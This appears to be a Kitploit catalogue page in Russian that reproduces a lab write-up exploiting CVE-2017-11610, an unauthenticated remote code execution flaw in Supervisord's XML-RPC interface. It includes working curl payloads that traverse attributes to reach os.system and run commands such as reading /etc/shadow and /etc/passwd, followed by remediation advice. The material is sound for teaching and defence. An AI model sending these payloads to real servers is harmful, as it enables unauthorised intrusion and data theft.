Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-11610 — Пошаговый разбор эксплуатации CVE-2017-11610 (Supervisord XML-RPC RCE) с анализом поверхности атаки, обнаружением обхода пространства имён и методами пост-эксплуатации в лабораторной среде Docker. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2017-11610
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного ДоступаЛаборатории и Практика
GitHubdungsocool/cve-2017-11610

CVE-2017-11610

Пошаговый разбор эксплуатации CVE-2017-11610 (Supervisord XML-RPC RCE) с анализом поверхности атаки, обнаружением обхода пространства имён и методами пост-эксплуатации в лабораторной среде Docker.

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ЛАБОРАТОРНАЯ 3 - CVE-2017-11610

I. АНАЛИЗ СИСТЕМЫ

Определение поверхности атаки в среде Docker

Начнём с того, что запущено в среде. Перечислю все активные контейнеры:``` docker ps-a

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/528df65b5736399b78ecfb94ba4506b37ef721e8e31f8247ad7d022a4e54124b.png)

**Жертва открывает один порт: `9001`**.

Порт 9001 — это не стандартное веб-приложение. Поиск по **базе данных портов** показывает, что этот порт может быть связан с **Supervisord** (ETL Service Manager согласно IANA), Tor proxy или каким-либо другим внутренним сервисом. Однако мы не можем сделать вывод, основываясь только на номере порта.

⇒ Я напрямую обращаюсь через curl, чтобы прочитать ответ, а также открываю веб-интерфейс (GUI) для получения дополнительной информации.```
curl -i http://192.168.3.137:9001/

image.png

image.png

Анализ ответа:

  • Полученный ответ отображает Server: Medusa/1.12 и заголовок Supervisor Status

→ Подтверждено, что это Supervisord, а не Tor или какой-либо другой сервис.

  • Нет формы входа, нет запроса аутентификации ⇒ Доступ не требует аутентификации
  • Открытые функции: REFRESH, RESTART ALL, STOP ALL
  • Оценка поверхности атаки:

Supervisord — это менеджер процессов в Linux. Если port 9001 открыт в сеть без пароля, это опасная конфигурация. Атакующий может просматривать сервисы, перезапускать/останавливать процессы и при определённых конфигурациях использовать это для выполнения команд, если у него есть привилегии на изменение или управление управляемыми программами.

Вывод анализа: Мы можем подтвердить, что цель открывает административный интерфейс Supervisord в сеть на порту 9001. Это не стандартный веб-сервис, а интерфейс управления, используемый для мониторинга и управления процессами. Возможность доступа к этому интерфейсу без аутентификации создаёт риск того, что атакующий сможет просматривать статус управляемых сервисов или взаимодействовать с ними.

Однако необходимо различать видимый интерфейс и лежащий в основе механизм управления. Кнопки REFRESH, RESTART ALL и STOP ALL не обрабатывают запросы самостоятельно во фронтенде; вместо этого они должны вызывать интерфейс/бэкенд Supervisord, чтобы получать статус или отправлять команды управления процессами. Поэтому после подтверждения того, что веб-интерфейс открыт, следующим шагом анализа является определение того, существует ли лежащий в основе интерфейс управления за веб-интерфейсом и требует ли он аутентификации.

⇒ Размышление: Необходимо проверить, существует ли интерфейс управления за веб-интерфейсом и требует ли он аутентификации.

Проверка протокола XML-RPC

image.png

Согласно документации Supervisor, [inet_http_server] — это HTTP-сервер, прослушивающий TCP-сокет. Этот интерфейс не включён по умолчанию, его следует использовать только в доверенных средах, он не поддерживает шифрование и не имеет аутентификации по умолчанию, если не настроены username/password.

Документация также указывает, что порт [inet_http_server] используется для приёма HTTP/XML-RPC запросов; supervisorctl использует XML-RPC для связи с supervisord через этот порт. Это соответствует нашему наблюдению в лаборатории: контейнер открывает 0.0.0.0:9001->9001/tcp, веб-интерфейс доступен без аутентификации, и отображаемая версия — Supervisor 3.3.2.

Таким образом, после подтверждения веб-интерфейса на порту 9001, следующим шагом является проверка XML-RPC конечной точки /RPC2. Основываясь на официальном механизме Supervisord, нам необходимо проверить следующее:

  • Существует ли /RPC2.
  • Требует ли конечная точка аутентификации.
  • Можем ли мы вызывать неразрушающие методы, такие как supervisor.getState или system.listMethods.
  • Если RPC можно вызывать без аутентификации, уровень риска повышается с открытого веб-интерфейса до открытого API управления процессами.

Проверяем, активна ли конечная точка:``` curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/f97bef2d42858c30a246414af228b739e3a49e9ed633b48e68f5702db1b289af.png)

Результат возвращает `HTTP/1.1 200 OK`, а не `401 Unauthorized` или `403 Forbidden`, что показывает: запрос был принят сервером без учётных данных. Ответ имеет формат XML-RPC `<methodResponse>` и содержит `statename=RUNNING` и `statecode=1`, что доказывает: конечная точка `/RPC2` активна, а метод `supervisor.getState` был успешно выполнен.

**⇒ Размышления:** поверхность атаки больше не ограничивается веб-интерфейсом, а расширилась до XML-RPC API, где обрабатываются команды управления демоном и процессами. Отсюда следующее направление анализа — **проверить, как Supervisor** обрабатывает `methodName` в **XML-RPC**, чтобы определить, **проявляет ли текущая цель поведение CVE-2017-11610**, которое заключается в механизме диспетчеризации/поиска этого метода. Нам нужно это проверить, чтобы сделать вывод, является ли это **CVE-2017-11610**.

### **Анализ обработки имени метода в XML-RPC**

На предыдущем шаге мы успешно вызвали метод `supervisor.getState` через конечную точку `/RPC2`. Это поднимает следующий вопрос: когда сервер получает строковый `methodName`, как Supervisord сопоставляет эту строку с внутренней функцией Python?

В XML-RPC методы обычно используют пространства имён, например:

- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`

Логически сервер получает строку `methodName`, разделяет её по точке `.` и ищет соответствующий объект/функцию внутри зарегистрированного обработчика.

Псевдокод можно понять следующим образом:```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
    parts = method_name.split(".")          # ["supervisor", "getState"]

    obj = registered_handlers[parts[0]]     # get namespace "supervisor"

    for attr in parts[1:]:
        obj = getattr(obj, attr)            # lookup the next attribute

    return obj(*params)                     # call the final function

Для стандартных методов, таких как supervisor.getState, этот механизм работает обычным образом: сервер получает обработчик supervisor, а затем вызывает функцию getState. Однако ключевая проблема CVE-2017-11610 заключается в том, что этот механизм поиска недостаточно ограничивает атрибуты, к которым разрешено обращаться. Если атакующий контролирует methodName, он может не только вызывать публичные методы, такие как getState, но и проникать глубже во внутренние объекты/модули, доступные из обработчика supervisor.

Иными словами, точка . в methodName используется не только для вызова допустимых методов, но может быть использована для обхода атрибутов объектов.

Это формирует наш путь эксплуатации:

supervisor → supervisord → options → warnings → linecache → os → system

Идея состоит в том, чтобы начать с обработчика supervisor, пройти по атрибутам до внутренних объектов демона, а затем использовать предварительно импортированные модули Python для достижения os.system. Если os.system можно вызвать, атакующий сможет выполнять системные команды с привилегиями процесса supervisord.

Таким образом, цепочка атаки выглядит следующим образом:

/RPC2 принимает неаутентифицированные вызовы методов → изучить, как XML-RPC диспетчеризует methodName → обнаружить, что methodName может обходить атрибуты объектов → это приводит к вызову os.system.

II. ЭКСПЛУАТАЦИЯ

Подтверждение работы обхода пространства имён

Во-первых, мне нужно проверить, действительно ли сервер позволяет обходить внутренние атрибуты. Я попробую вызвать имя метода длиннее обычного. Если сервер вернёт ошибку "method not found", значит, активен фильтр; если вернётся другая ошибка (или вызов будет успешным), обход работает.

Размышление: Я уже знаю, что supervisor.getState работает. Если я попробую supervisor.supervisord — то есть углублюсь на один уровень — и сервер не вернёт ошибку unknown method, значит, он действительно использует рекурсивный getattr без белого списка.

Мы знаем, что XML-RPC — это протокол удалённого вызова процедур поверх HTTP, данные кодируются в XML. Каждый запрос состоит всего из 3 фиксированных компонентов:```

FUNCTION_NAME VALUE ``` Простая структура — просто замените `` и ``. Если функции не требуются параметры, оставьте `` пустыми. Если функции требуется строка, оберните её в `...`. Это не секретное знание — об этом подробно написано в RFC XML-RPC.

⇒ Применение: попробуйте вызвать methodName длиннее обычного, чтобы проверить обход пространства имён:``` curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/2e90c7be7c467c3e59434434765b5a823150ebdd7206775390b53b92532b5254.png)

В результате возвращается `HTTP 500 Internal Server Error` вместо стандартной ошибки `unknown method`. Это указывает на то, что сервер не блокирует `methodName` на уровне допустимого пространства имён, а вместо этого продолжает обрабатывать цепочку `supervisor.supervisord.options` во время диспетчеризации. Иными словами, запрос проникает глубоко в механизм поиска атрибутов; ошибка возникает на более позднем этапе, когда разрешённый объект не может быть вызван как метод. Это явный признак того, что обход пространства имён через `methodName` активен.

### **Поиск пути к функции выполнения команд**

Обход работает. Следующий шаг — **найти цепочку атрибутов, заканчивающуюся вызываемой функцией, способной выполнять системные команды.** В Python проще всего проверить `os.system()`. Однако у нас **нет оболочки на целевой системе** и **нет возможности напрямую читать исходный код или объекты времени выполнения в контейнере.** Поэтому мы должны **исходить из механизмов импорта Python** и **сначала проверить зависимости локально.**

Цепочка для проверки выглядит так:

`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`

- Supervisord написан на Python, поэтому внутренние объекты, такие как `options`, являются объектами Python с атрибутами.
- Если модуль импортирует другой модуль через `import X`, то `X` будет существовать в пространстве имён этого модуля.
- В стандартной библиотеке Python модуль `warnings` импортирует `linecache`, чтобы получать контекст при отображении предупреждений.
- Модуль `linecache` импортирует `os` для работы с путями и файлами.
- Модуль `os` предоставляет функцию `system()`, которая является вызываемой и может выполнять команды оболочки.

Подтвердите эту зависимость локально, прежде чем пытаться использовать её на целевой системе:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True

python3 -c "import linecache; print('os' in dir(linecache))"
# True

python3 -c "import os; print(callable(os.system))"
# True

⇒ Размышление: Цепочка зависимостей warnings → linecache → os — это реальная зависимость в стандартной библиотеке CPython; и system действительно является вызываемой функцией в модуле os. В сочетании с ошибкой обхода пространства имён в XML-RPC, если мы можем добраться до supervisord.options.warnings из обработчика supervisor, мы можем продолжить обход до linecache.os.system для вызова системных команд.

Формирование RCE-пейлоада и выполнение

После определения цепочки обхода до os.system следующим шагом будет создание XML-RPC-запроса для вызова этой функции. В Python функция os.system() принимает один строковый параметр, представляющий команду оболочки для выполнения, и возвращает код выхода команды. Эта функция не возвращает stdout напрямую в ответ XML-RPC, поэтому, чтобы доказать, что команда выполнилась, мы должны перенаправить вывод в файл.

⇒ Размышление: В ответе нет прямого вывода, поэтому запишем результаты в /tmp. Каталог /tmp обычно доступен для записи всем пользователям Linux. Безопасный проверочный пейлоад:

id > /tmp/rce_proof.txt

Применяя шаблон XML-RPC, проанализированный выше, замените <methodName> на цепочку обхода до os.system и передайте команду оболочки внутри <string>:```bash curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/c707fc5eccd973a810240b84646b2c70ff8c09023e5e1b626206489607b6e1da.png)

Значение `<int>0</int>` — это код возврата `os.system()`, а не stdout команды. Код возврата `0` означает, что команда оболочки выполнена успешно. Мы проверяем это, читая файл внутри контейнера:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

image.png

⇒ RCE подтвержден. Команда id была выполнена внутри контейнера с правами пользователя nobody (uid=65534).

Ключевой момент: RCE достигнута, но права выполнения зависят от пользователя, под которым запущен процесс supervisord. В этой лабораторной работе команда выполняется под пользователем nobody, что означает, что воздействие более ограничено, чем если бы supervisord работал от имени root.

Определение ограничений привилегий

После подтверждения RCE мы видим, что nobody — это пользователь с низкими привилегиями в Linux. Однако это стоит проверить на практике, а не просто полагаться на вывод id. Метод проверки — попытаться прочитать /etc/shadow, так как этот файл обычно доступен для чтения только root и группе shadow. Если файл читается, процесс имеет высокие привилегии; если доступ заблокирован, привилегии действительно ограничены.

Отправьте полезную нагрузку для чтения /etc/shadow и перенаправьте stdout/stderr в файл:```bash curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/bc9385f2f63d1655cbf3e8ecf39700242908aedc1f759809e5dbb661747e7c66.png)

Ответ возвращает `<int>256</int>`, что является возвращаемым значением `os.system()`. В Unix коды завершения кодируются; `256` соответствует коду выхода `1` командной оболочки. Это указывает на то, что команда была выполнена, но завершилась ошибкой.

Мы подтверждаем причину сбоя, прочитав выходной файл внутри контейнера и проверив права доступа к `/etc/shadow`:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

image.png

Результаты показывают, что в выходном файле зафиксирована эта ошибка:

cat: /etc/shadow: Permission denied

Права доступа для /etc/shadow:

  • rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow

Файл /etc/shadow принадлежит пользователю root, группе shadow и доступен для чтения только владельцу/группе. Между тем, наша более ранняя RCE подтвердила, что команды выполняются от имени пользователя nobody; этот пользователь не входит в группу shadow и, следовательно, не может прочитать этот файл.

⇒ Вывод: RCE достигнута, но привилегии действительно ограничены пользователем nobody. Это важное отличие от службы, работающей от имени root: атакующий может выполнять команды, но не получает автоматически полный контроль над системой.

III. ПОСТ-ЭКСПЛУАТАЦИЯ

Сбор информации о системе

Хотя мы не можем прочитать /etc/shadow, RCE по-прежнему позволяет нам выполнять команды с привилегиями nobody. Таким образом, мы можем продолжать собирать информацию, которую этот пользователь имеет право читать, например, список запущенных процессов и информацию о пользователях системы.

Просмотр списка запущенных процессов и чтение результатов из контейнера:```

curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/e9cf4dd6bc55d3b5eee8b31187277a5ac798b8bea9feb77021ee5da5565c7011.png)```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

image.png

PID 1 в контейнере работает под пользователем root, но процесс supervisord работает под пользователем nobody. Это объясняет, почему RCE удалось, но не хватило привилегий для чтения файлов, доступных только root.

Результат: ps aux показывает, что PID 1 в контейнере — это /bin/bash /usr/local/bin/docker-entrypoint.sh, работающий под пользователем root, тогда как процесс supervisord работает под пользователем nobody.

Это объясняет, почему RCE удалось, но не было разрешений на чтение файлов, доступных только root: команда выполняется с привилегиями процесса supervisord, а не PID 1.

Проверка информации о системных пользователях и чтение результатов из контейнера:```

curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/d0233dd1a03fa36fba951f26c87901e0a031ec406cf1e364cd5c1d1c636e19b5.png)```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

image.png

Результат: /etc/passwd показывает, что система в основном содержит стандартных пользователей, таких как root, daemon, nobody и _apt; дополнительных служебных пользователей не обнаружено. Это указывает на минимальное окружение контейнера, в котором отсутствуют другие прикладные учётные записи, которые можно было бы использовать или от которых можно было бы продолжать атаку на данном этапе.

Замечания по reverse shell

В этой лабораторной среде установить reverse shell не удалось. Однако не следует просто заключать, что Docker bridge сеть всегда блокирует reverse shell, поскольку Docker-контейнеры обычно сохраняют исходящие возможности через NAT. Причина может крыться в маршрутизации, межсетевых экранах, прослушивающих портах, интерфейсах или в конфигурации сети лабораторного окружения.

Ключевой момент: неудавшийся reverse shell не меняет основного вывода. RCE подтверждён с помощью payload id, кодом ответа 0 и файлом вывода в /tmp. Атакующий может выполнять произвольные команды внутри контейнера с привилегиями пользователя nobody.

IV. ОЦЕНКА РИСКОВ И РЕКОМЕНДАЦИИ

Оценка рисков

Рекомендации по устранению

Срочный приоритет

  1. Обновите Supervisord до пропатченной версии

    Обновите Supervisor до версии >= 3.3.3. Пропатченная версия полностью устраняет механизм рекурсивного поиска namespace в XML-RPC, который был первопричиной CVE-2017-11610.

  2. Не открывайте [inet_http_server] в сеть без необходимости

    Если веб-интерфейс или удалённое управление не требуются, полностью отключите [inet_http_server]. Это управляющий интерфейс, и он не должен быть широко доступен в сети.

  3. Ограничьте адрес привязки

    Если веб-интерфейс всё же нужен, привязывайте его только к localhost вместо 0.0.0.0:

    root@kitploit:~
    [inet_http_server]
    port=127.0.0.1:9001
    

Высокий приоритет

  1. Включите аутентификацию для [inet_http_server]

    Если этот интерфейс необходимо открыть для удалённого администрирования, настройте надёжное имя пользователя/пароль:

    [inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>

    Если интерфейс должен быть доступен в сети, не полагайтесь только на пароль; разместите его за VPN/обратным прокси или ограничьте доступ по IP.

  2. Ограничьте доступ с помощью межсетевого экрана

    Разрешайте доступ к порту 9001 только административным IP-адресам, например через межсетевой экран/группу безопасности. Не открывайте этот порт в публичный интернет или во всю внутреннюю сеть.

  3. Запускайте supervisord от непривилегированного пользователя

    В этой лабораторной среде он работает от пользователя nobody, что ограничивает воздействие. В реальных средах избегайте запуска supervisord от root, если только это не абсолютно необходимо.

Скачать инструмент
КритерийОценкаДетали
CVSS Score9.8 (Critical)Согласно CVE/NVD, уязвимость представляет собой неаутентифицированный RCE в Supervisor <= 3.3.2
АутентификацияНе требуетсяEndpoint /RPC2 обрабатывает XML-RPC запросы без запроса имени пользователя/пароля
СложностьНизкаяЭксплуатируется вручную через XML-RPC запросы, без необходимости в Metasploit
Полученные привилегииnobodyRCE выполняется с привилегиями процесса supervisord; в данной лабораторной среде ограничен пользователем nobody
ВоздействиеВысокоеВозможно выполнение команд, запись файлов в доступные для записи каталоги, такие как /tmp, и сбор информации о системе
ОграниченияНевозможно чтение файлов только для root/etc/shadow вернул Permission Denied, что доказывает отсутствие root-привилегий
Пивот во внутренней сетиВозможенПользователь nobody всё ещё может пытаться подключиться к другим сервисам/контейнерам, если это позволяют сетевые политики